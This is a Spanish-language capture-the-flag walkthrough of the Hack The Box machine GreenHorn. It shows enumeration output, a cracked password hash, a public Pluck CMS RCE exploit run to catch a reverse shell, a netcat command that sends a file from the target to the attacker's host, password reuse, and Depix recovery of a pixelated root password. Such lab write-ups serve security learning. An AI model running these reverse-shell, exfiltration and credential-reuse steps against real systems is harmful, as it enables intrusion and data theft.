HackTheBox – GreenHorn Writeup

Introducción

Este documento detalla el proceso paso a paso para explotar la máquina GreenHorn de Hack The Box. Se incluyen todas las herramientas y técnicas utilizadas, desde la enumeración inicial hasta la obtención de acceso root.

El objetivo es mostrar cómo se realizó la explotación de manera práctica y reproducible, destacando los comandos usados y los resultados obtenidos en cada etapa. 

 

Herramientas Utilizadas:

  • Ncat: Para crear un listener en la máquina atacante y recibir conexiones reversas.
  • CrackStation: Para descifrar el hash de la contraseña.
  • Depix: Para procesar una imagen pixelada y extraer el texto oculto.
  • SSH: Para acceder a la máquina como usuario root.
  • Netcat: Para transferir archivos entre las máquinas comprometidas.

Escaneo Inicial de Puertos con Nmap

Lo primero que realizamos fue un escaneo con Nmap para identificar los puertos abiertos en la máquina. Utilizamos el siguiente comando:

❯ sudo nmap -sS -sC -sV -Pn -p- -T4 -A -oG allPorts 10.10.11.25


Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-02 11:55 CET
Nmap scan report for 10.10.11.25
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57d6928a7244841729eb5cc9636afefd (ECDSA)
|_  256 40ea17b1b6c53f4256674a3cee75232f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=df552e17b484049d; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=HvxLtUen03xKabtc9S3FdRPW1c46MTczMzEzNjk2NDYxNjU3MDYyMQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 02 Dec 2024 10:56:04 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=0ac19c7226a40fb2; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=DsKXdCOFDmLdmqcZyrjqAF2lm0g6MTczMzEzNjk2OTgyMzgwMzIyMw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 02 Dec 2024 10:56:09 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=12/2%Time=674D9244%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2A60,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:
SF:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nConte
SF:nt-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=
SF:df552e17b484049d;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie
SF::\x20_csrf=HvxLtUen03xKabtc9S3FdRPW1c46MTczMzEzNjk2NDYxNjU3MDYyMQ;\x20P
SF:ath=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Option
SF:s:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2002\x20Dec\x202024\x2010:56:04\x20G
SF:MT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-
SF:auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=device
SF:-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x20r
SF:el=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR3Jl
SF:ZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9
SF:ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm
SF:4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJza
SF:XplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowe
SF:d\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,\x2
SF:0private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_like_
SF:gitea=0ac19c7226a40fb2;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-
SF:Cookie:\x20_csrf=DsKXdCOFDmLdmqcZyrjqAF2lm0g6MTczMzEzNjk2OTgyMzgwMzIyMw
SF:;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-
SF:Options:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2002\x20Dec\x202024\x2010:56:0
SF:9\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Device type: firewall
Running (JUST GUESSING): Fortinet embedded (87%)
OS CPE: cpe:/h:fortinet:fortigate_100d
Aggressive OS guesses: Fortinet FortiGate 100D firewall (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT    ADDRESS
1   ... 30

Resumen resultados nmap:

PuertoEstadoServicioVersión/Detalles
22/tcpOpenSSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocolo 2.0)
80/tcpOpenHTTPnginx 1.18.0 (Ubuntu)
3000/tcpOpenPPP?/HTTP AppProbablemente Gitea (basado en cookies y respuestas HTTP). Requiere análisis adicional.
  • Información adicional:
    • Puerto 22 (SSH): Presenta hostkeys ECDSA y ED25519, lo que indica posibles configuraciones de autenticación segura.
    • Puerto 80 (HTTP): El servidor nginx redirige a http://greenhorn.htb/.
    • Puerto 3000: Parece estar relacionado con una aplicación web, posiblemente Gitea (basado en cookies como i_like_gitea y csrf).

Análisis HTTP (Puerto 80)

curl -vvv http://10.10.11.25

Respuesta:

  • Código de estado: 302 Moved Temporarily.
  • Encabezados relevantes:
    • Server: nginx/1.18.0 (Ubuntu)
    • Location: http://greenhorn.htb/
  • Contenido HTML: Mensaje de redirección simple con título «302 Found».

Acceso al dominio redirigido:

Configuración del archivo /etc/hosts para mapear el dominio:

❯ echo "10.10.11.25 greenhorn.htb" >> /etc/hosts

Revisión con Buzz:

Uso de Gobuster para Identificar Posibles Rutas

Para identificar directorios y archivos interesantes en el servidor web, utilizamos Gobuster

❯ gobuster dir -b 302 -u http://greenhorn.htb/ -w /usr/share/dirb/wordlists/big.txt

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://greenhorn.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   302
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2024/12/02 12:19:30 Starting gobuster in directory enumeration mode
===============================================================
/data                 (Status: 301) [Size: 178] [--> http://greenhorn.htb/data/]
/docs                 (Status: 301) [Size: 178] [--> http://greenhorn.htb/docs/]
/favicon.ico          (Status: 404) [Size: 162]
/files                (Status: 301) [Size: 178] [--> http://greenhorn.htb/files/]
/images               (Status: 301) [Size: 178] [--> http://greenhorn.htb/images/]
/robots.txt           (Status: 200) [Size: 47]
Progress: 20392 / 20470 (99.62%)
===============================================================
2024/12/02 12:22:44 Finished
===============================================================

Parámetros utilizados:

  • -b 302: Especificamos que se ignoren los códigos de estado 302 (redirección temporal).
  • -u http://greenhorn.htb/: La URL de destino para realizar la enumeración.
  • -w /usr/share/dirb/wordlists/big.txt: El diccionario de rutas que Gobuster utilizará para intentar encontrar directorios.

Revisando el servicio HTTP con Curl:

Comprobación de Accesibilidad a las Rutas /images/ y /data/

Al intentar acceder a las rutas /images/ y /data/, se observa que la ruta /images/ devuelve un error 403 Forbidden, mientras que la ruta /data/ redirige al directorio anterior.

Acceso a /images/ – Respuesta 403 Forbidden

Realizamos una solicitud HTTP con curl a la ruta /images/, y la respuesta obtenida fue un 403 Forbidden, lo que indica que el servidor está bloqueando el acceso a esa ruta. A continuación, se muestra el resultado de la solicitud:

❯ curl -vv http://greenhorn.htb/images/

*   Trying 10.10.11.25:80...
* Connected to greenhorn.htb (10.10.11.25) port 80 (#0)
> GET /images/ HTTP/1.1
> Host: greenhorn.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 403 Forbidden
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 02 Dec 2024 11:23:53 GMT
< Content-Type: text/html
< Content-Length: 162
< Connection: keep-alive
< 
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host greenhorn.htb left intact

El servidor nginx está respondiendo con un error 403, indicando que no tenemos permisos para acceder a esta ruta.

Acceso a /data/ – Redirección a Directorio Anterior

A continuación, intentamos acceder a la ruta /data/. La respuesta fue un código 200 OK, pero con un redireccionamiento a la página anterior (../). A continuación, el resultado de la solicitud:

curl -vv http://greenhorn.htb/data/
*   Trying 10.10.11.25:80...
* Connected to greenhorn.htb (10.10.11.25) port 80 (#0)
> GET /data/ HTTP/1.1
> Host: greenhorn.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 02 Dec 2024 11:24:14 GMT
< Content-Type: text/html
< Content-Length: 48
< Last-Modified: Fri, 24 Feb 2023 10:55:45 GMT
< Connection: keep-alive
< ETag: "63f897b1-30"
< Accept-Ranges: bytes
< 
* Connection #0 to host greenhorn.htb left intact
<meta http-equiv="refresh" content="0; url=../">

Revisión con Buzz:

De nuevo, se ejecutó gobuster para realizar un escaneo de directorios en el puerto 3000 del sitio http://greenhorn.htb:3000/

❯ gobuster dir  -u http://greenhorn.htb:3000/ -w /usr/share/dirb/wordlists/big.txt

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://greenhorn.htb:3000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2024/12/02 12:27:13 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 303) [Size: 38] [--> /user/login]
/explore              (Status: 303) [Size: 41] [--> /explore/repos]
/favicon.ico          (Status: 301) [Size: 58] [--> /assets/img/favicon.png]
/issues               (Status: 303) [Size: 38] [--> /user/login]
/milestones           (Status: 303) [Size: 38] [--> /user/login]
/notifications        (Status: 303) [Size: 38] [--> /user/login]
/v2                   (Status: 401) [Size: 50]
Progress: 20430 / 20470 (99.80%)
===============================================================
2024/12/02 12:30:26 Finished
===============================================================

Análisis de Rutas Interesantes:

De todas las rutas encontradas, las más relevantes para la exploración futura son:

  • /user/login
  • /explore/repos

 

Al explorar el repositorio en la ruta http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php, se identificó un archivo interesante: pass.php. Dentro de este archivo, se encontró un hash de contraseña

Desencriptación del Hash:

Utilizando CrackStation   (https://crackstation.net) para decodificar el hash SHA-512

Output:

d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d7704	sha512	iloveyou1

Con esta contraseña, se pudo acceder al login de la aplicación web en http://greenhorn.htb/login.php

Obtención de la Reverse Shell:

Se puso un listener de netcat en el puerto 9443 para esperar la conexión reversa:

❯ nc -lvp 9443

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9443
Ncat: Listening on 0.0.0.0:9443

Explotación mediante el exploit «Pluck_Cms_4.7.18_RCE_Exploit»:

Se clonó el repositorio del exploit «Pluck_Cms_4.7.18_RCE_Exploit» y se ejecutó el script para realizar la carga de un reverse shell en la máquina víctima. (Tambien se puede hacer de forma manual subiendo el reverse shell en .zip a la url: http://greenhorn.htb/admin.php?action=installmodule

Clonamos exploit

❯ git clonehttps://github.com/b0ySie7e/Pluck_Cms_4.7.18_RCE_Exploit
❯ cd Pluck_Cms_4.7.18_RCE_Exploit

Ejecutamos el exploit

❯ python3 exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.14.107 --port 9443 --host http://greenhorn.htb/

[+] Creating payload
[+] Overwriting .php file
[+] Creating ZIP file
Login successful
[+] ZIP file uploaded successfully

Esto permitió obtener acceso remoto a la máquina como el usuario www-data. Sin embargo, este usuario no tiene suficientes permisos para acceder a información crítica.

❯ nc -lvp 9443

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9443
Ncat: Listening on 0.0.0.0:9443
Ncat: Connection from 10.10.11.25.
Ncat: Connection from 10.10.11.25:48654.
bash: cannot set terminal process group (1098): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$

Escalada de Privilegios:

Acceso al usuario junior:

Al investigar en el directorio /home/junior, se observó que el archivo user.txt estaba presente, pero no se podía acceder debido a restricciones de permisos.

www-data@greenhorn:/home/junior$ ls
ls
Using OpenVAS.pdf
user.txt
www-data@greenhorn:/home/junior$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Método de escalada:

Intentamos hacer login con el usuario junior utilizando la contraseña decodificada iloveyou1:

su - junior
Password: iloveyou1
whoami
junior

Este intento fue exitoso, lo que permitió acceder como el usuario junior y leer el archivo user.txt, obteniendo la siguiente flag de usuario:

❯ cat user.txt
e75269a51d1c044b38c86bcdc8d6f7c5

Descarga del Archivo Using OpenVAS.pdf

Dado que el archivo Using OpenVAS.pdf se encontraba en el sistema comprometido y no podía ser inspeccionado directamente desde la shell debido a su formato, se optó por transferirlo al equipo local para su análisis. Esto se realizó utilizando netcat,

Pasos Realizados para la Transferencia

En el equipo local: Se configuró netcat en modo escucha para recibir el archivo desde el servidor comprometido, redirigiendo la salida a un archivo llamado Using OpenVAS.pdf:

❯ nc -lvp 8080 > 'Using OpenVAS.pdf'

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

Ncat: Connection from 10.10.11.25.
Ncat: Connection from 10.10.11.25:56180.

El comando establece una escucha en el puerto 8080 y guarda cualquier dato recibido en el archivo especificado.

En el servidor comprometido (GreenHorn): Desde el servidor, se utilizó netcat para enviar el archivo al equipo local:

❯ nc 10.10.14.107 8080 < 'Using OpenVAS.pdf'

Este comando envía el contenido del archivo Using OpenVAS.pdf al equipo local en la dirección 10.10.14.107 y el puerto 8080.

Decodificación de la Contraseña Pixelada:

Al revisar el fichero descargado vemos que la contraseña se encuentra pixelada

Al investigar posibles métodos para decodificar información pixelada, encontramos el proyecto Depix, una herramienta especializada para recuperar texto pixelado en imágenes. Este proyecto, disponible en GitHub, se adapta perfectamente a la tarea en cuestión.

Clonación del Proyecto Depix

Se clonó el repositorio desde GitHub utilizando el siguiente comando:

❯ git clone https://github.com/spipm/Depix

Extracción de la Imagen del PDF:

Uso de pdfimages para extraer la imagen:

Usamos pdfimages para extraer las imágenes del archivo PDF y guardarlas en formato ppm:

❯ pdfimages Using\ OpenVAS.pdf password

Movimos la imagen extraída al directorio donde teníamos el proyecto Depix:

❯ sudo mv password-000.ppm /opt/Depix

Decodificación con Depix:

Luego, usamos Depix para procesar la imagen pixelada y extraer el texto oculto:

❯ python3 depix.py -p password-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /home/rokitoh/CTF/htb/GreenHorn/password.png

2024-12-02 16:50:21,696 - Loading pixelated image from password-000.ppm
2024-12-02 16:50:21,717 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-12-02 16:50:23,587 - Finding color rectangles from pixelated space
2024-12-02 16:50:23,590 - Found 252 same color rectangles
2024-12-02 16:50:23,591 - 190 rectangles left after moot filter
2024-12-02 16:50:23,591 - Found 1 different rectangle sizes
2024-12-02 16:50:23,591 - Finding matches in search image
2024-12-02 16:50:23,591 - Scanning 190 blocks with size (5, 5)
2024-12-02 16:50:23,703 - Scanning in searchImage: 0/1674
2024-12-02 16:52:49,207 - Removing blocks with no matches
2024-12-02 16:52:49,207 - Splitting single matches and multiple matches
2024-12-02 16:52:49,214 - [16 straight matches | 174 multiple matches]
2024-12-02 16:52:49,214 - Trying geometrical matches on single-match squares
2024-12-02 16:52:50,375 - [29 straight matches | 161 multiple matches]
2024-12-02 16:52:50,375 - Trying another pass on geometrical matches
2024-12-02 16:52:51,372 - [41 straight matches | 149 multiple matches]
2024-12-02 16:52:51,372 - Writing single match results to output
2024-12-02 16:52:51,374 - Writing average results for multiple matches to output
2024-12-02 16:53:00,430 - Saving output image to: /home/rokitoh/CTF/htb/GreenHorn/password.png

El resultado fue la imagen password.png, que contenía el siguiente texto desencriptado:

Output:

sidefromsidetheothersidesidefromsidetheotherside

Escalada de Privilegios a Root:

Intento de Escalada con sudo:

Intentamos usar sudo su - para escalar a root, pero el sistema solicitó un terminal para leer la contraseña.

sudo su - 
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
su - 

Acceso a Root Mediante SSH:

Observamos que el servicio SSH estaba habilitado en el puerto 22, por lo que intentamos acceder como root:

 

Obtención de la Flag de Root:

Una vez dentro como root, revisamos el directorio /root y encontramos la flag de root en el archivo root.txt:

 

 ❯ cat root.txt 
c33909c1daee1811421cf88403aa56b5

wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *